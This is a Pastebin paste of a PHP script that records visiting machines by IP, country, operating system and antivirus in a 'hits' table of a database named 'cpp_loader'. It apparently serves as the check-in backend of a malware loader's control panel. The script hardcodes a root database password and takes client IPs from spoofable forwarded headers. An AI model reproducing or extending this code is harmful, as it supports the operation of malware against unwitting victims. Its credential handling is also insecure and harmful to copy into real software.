SHARE
TWEET

Untitled

a guest Jan 26th, 2019 113 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(-1); // reports all errors
  3. ini_set("display_errors", "1"); // shows all errors
  4. ini_set("log_errors", 1);
  5.  
  6.  
  7. //echo "script start ";
  8.  
  9. require 'vendor/autoload.php';
  10. use GeoIp2\Database\Reader;
  11.  
  12.  
  13.  
  14. $host = 'localhost';
  15. $db   = 'cpp_loader';
  16. $user = 'root';
  17. $pass = 'B92fueo6aU';
  18. $charset = 'utf8';
  19.  
  20. $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
  21. $opt = [
  22.     PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
  23.     PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
  24.     PDO::ATTR_EMULATE_PREPARES   => false,
  25. ];
  26. $pdo = new PDO($dsn, $user, $pass, $opt);
  27.  
  28. $ip = getIP();
  29.  
  30. if (strpos($ip, ',') !== false) {
  31.    $ip_arr = explode(",", $ip);
  32.    $ip = $ip_arr[0];
  33.    
  34. }
  35.  
  36.  
  37. try{
  38.  
  39. $reader = new Reader('GeoIP2-City.mmdb');
  40.  
  41. $record = $reader->city($ip);
  42. $country = $record->country->name;
  43. $cc  =   $record->country->isoCode;
  44. //add to db info
  45.  
  46. }
  47. catch (GeoIp2\Exception\AddressNotFoundException $e ){
  48. $country = "Not found";
  49. $cc = "NotF";
  50. }
  51.  
  52.  
  53.     $av = $_POST['av'];
  54.  
  55.  
  56.  
  57.     $os = $_POST['os'];
  58.  
  59. $date = date('Y-m-d H:i:s');
  60. $q =  $pdo->prepare('update `hits` set os = :os, av = :av where ip = :ip limit 1');
  61.             $q->bindParam(':ip', $ip);
  62.             $q->bindParam(':av', $av);
  63.             $q->bindParam(':os', $os);
  64.            
  65.             $q->execute();
  66.            
  67.  
  68.  
  69.  
  70.  
  71. function getIP()
  72. {
  73.     if (isset($_SERVER["HTTP_X_REAL_IP"]))
  74.         return $_SERVER["HTTP_X_REAL_IP"];
  75.     else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
  76.         return $_SERVER ["HTTP_X_FORWARDED_FOR"];
  77.     return $_SERVER['REMOTE_ADDR'];
  78. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top